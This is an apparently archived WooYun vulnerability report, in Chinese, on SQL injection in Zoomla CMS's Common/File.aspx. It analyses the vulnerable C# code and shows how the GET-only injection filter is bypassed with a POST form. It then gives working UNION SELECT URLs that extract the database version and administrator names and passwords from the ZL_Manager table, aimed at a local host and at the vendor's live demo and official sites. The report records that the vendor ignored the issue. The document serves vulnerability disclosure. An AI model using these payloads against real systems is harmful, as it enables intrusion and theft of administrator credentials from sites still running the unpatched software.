当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120000

漏洞标题:逐浪CMS注入影响CMS2全系列和CMS6.0版本以及影响官网(无需登陆)

相关厂商:逐浪CMS

漏洞作者: Damo

提交时间:2015-06-15 10:13

修复时间:2015-09-18 10:15

公开时间:2015-09-18 10:15

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-15: 细节已通知厂商并且等待厂商处理中
2015-06-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-14: 细节向核心白帽子及相关领域专家公开
2015-08-24: 细节向普通白帽子公开
2015-09-03: 细节向实习白帽子公开
2015-09-18: 细节向公众公开

简要描述:

影响一下版本
Zoomla!CMS2_x1.5
Zoomla!CMS2_x2.0
Zoomla!CMS2_x2.1
Zoomla!CMS2_x2.2
Zoomla!CMS2_x2.3
Zoomla!CMS2_x2.4
Zoomla!CMS6.0
其他版本(未测试)

详细说明:

影响版本

影响版本.png


详细分析如下:
问题文件:\Common\file.aspx
注:此问题文件包含两个注入
参数:code
代码分析如下:

protected void Page_Load(object sender, EventArgs e)
{
string str = "http://" + HttpContext.Current.Request.Url.Authority.ToString() + "/UploadFiles/" + this.ull.GetLogin(true).UserName;
if (base.Request.QueryString["code"] == null && base.Request.QueryString["FD"] != null)
{
if (base.Request.QueryString["ur"] == null && base.Request.QueryString["state"] == null)
{
string value = base.Server.UrlDecode(base.Request.QueryString["FD"]);
this.FileUrl = this.FileJiema(value);
this.hid.Value = base.Server.UrlDecode(base.Request.QueryString["FD"]);
}
else
{
if (base.Request.QueryString["state"] == null)
{
string value2 = base.Request.QueryString["FD"].ToString().Replace(" ", "+");
this.FileUrl = this.FileJiema(value2);
this.hid.Value = value2;
}
}
if (base.Request["state"] != null && base.Request["state"] == "tr")
{
string value3 = base.Request.QueryString["FD"];/*第一种注入:带sql的Base64字符串*/
this.FileUrl = this.FileJiema(value3);/*第一种注入:解码字符串FromBase64String(value));*/
this.hid.Value = value3;
this.file = this.bfile.SelectFile(string.Concat(new object[]
{
" FileName='",
this.FileUrl,
"' and userid=",
this.ull.GetLogin(true).UserID
}));/*第一种注入:this.bfile.SelectFile会直接代入sql注入*/
if (this.file.DownUrl == null)
{
base.Response.Write("0");
base.Response.End();
return;
}
base.Response.Write("http://" + HttpContext.Current.Request.Url.Authority.ToString() + "/Common/File.aspx?code=" + this.file.ExtractionCode);
base.Response.End();
return;
}
else
{
if (base.Request.QueryString["ur"] != null)
{
this.file.ExtractionCode = function.GetRandomString(8, 1);
this.file.DownUrl = str + this.FileUrl;
this.file.State = 1;
this.file.UserID = this.ull.GetLogin(true).UserID;
this.file.FileName = this.FileUrl;
this.bfile.AddFile(this.file);
base.Response.Write("http://" + HttpContext.Current.Request.Url.Authority.ToString() + "/Common/File.aspx?code=" + this.file.ExtractionCode);
base.Response.End();
return;
}
}
}
else
{
/*第二种注入:比较简单 直接代入code参数*/
if (base.Request.QueryString["code"] != "" && base.Request.QueryString["code"] != null)
{
this.file = this.bfile.SelectFile(" ExtractionCode='" + base.Request.QueryString["code"] + "' ");
base.Response.Redirect(this.file.DownUrl);/*然后跳转URL URL中不能包含换行符 所以我这里采用截取的方式以及拼接的方式*/
}
}
}
this.bfile.SelectFile方法代码如下:
public M_File SelectFile(string where)
{
if (where == "")
{
this.sql = "select * from ZL_File";
}
else
{
this.sql = "select * from ZL_File where " + where;/*直接将条件带入 导入SQL注入 */
}
略...
}


那么我们可以构造利用代码如下:
本地:http://192.168.1.100:8087/Common/File.aspx?code='
但是这个时候访问会被sql注入拦截
那么我们看global中的拦截代码:

private void Application_BeginRequest(object sender, EventArgs e)
{
if (base.Request.RequestType.ToUpper() == "GET" && ZoomlaSecurityCenter.GetData())
{
function.WriteMessage("产生错误的可能原因:你提交的参数不正确,包含恶意字符串,或检查系统是否开启了SQL防注入功能!", "", "非法SQL注入或存储!");
}
if (base.Request.HttpMethod.ToUpper() == "POST" && HttpContext.Current.Request.Files.Count > 0)/*我可以在这里通过post提交方式即可绕过*/
{
ZoomlaSecurityCenter.CheckUpladFiles();
}
}


综合上面分析我采用下面的方式绕过以及注入
建立一个form表单代码如下:

<form id="form1"   action="注入地址" method="post">

<input type="submit" value="逐浪CMS 注入" />

</form>


将下面的URL填写到form中action中即可
1本地构造注入URL
1.1 获取版权
注:注入后会base.Response.Redirect(this.file.DownUrl)跳转地址 跳转URL中不能包含换行符 所以我这里采用截取的方式以及拼接的方式
http://192.168.1.100:8087/Common/File.aspx?code='union select null,1,SUBSTRING (@@VERSION,0,30),null,null,1,null--

获取版权.png


1.2 获取管理员
http://192.168.1.100:8087/Common/File.aspx?code='union select null,1,STUFF(AdminPassword,1,0,AdminName),null,null,1,null from ZL_Manager--

获取管理员.png


2官方demo
2.1 获取版权
注:注入后会base.Response.Redirect(this.file.DownUrl)跳转地址 跳转URL中不能包含换行符 所以我这里采用截取的方式以及拼接的方式
http://demo.zoomla.cn/Common/File.aspx?code='union select null,1,SUBSTRING (@@VERSION,0,30),null,null,1,null--
2.2 获取管理员
http://demo.zoomla.cn/Common/File.aspx?code='union select null,1,STUFF(AdminPassword,1,0,AdminName),null,null,1,null from ZL_Manager--

官方demo.png

漏洞证明:

3官方网
3.1 获取版权
注:注入后会base.Response.Redirect(this.file.DownUrl)跳转地址 跳转URL中不能包含换行符 所以我这里采用截取的方式以及拼接的方式
http://www.zoomla.cn/Common/File.aspx?code='union select null,1,SUBSTRING (@@VERSION,0,30),null,null,1,null--

官网.png


3.2 获取管理员
http://www.zoomla.cn/Common/File.aspx?code='union select null,1,STUFF(AdminPassword,1,0,AdminName),null,null,1,null from ZL_Manager--

官网管理员.png


案例:
更多案例请看官网中的“成功案例”
http://www.zoomla.cn/case/

修复方案:

这个修复可能简单,但是原先发布出去的怎么办?

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-18 10:15

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无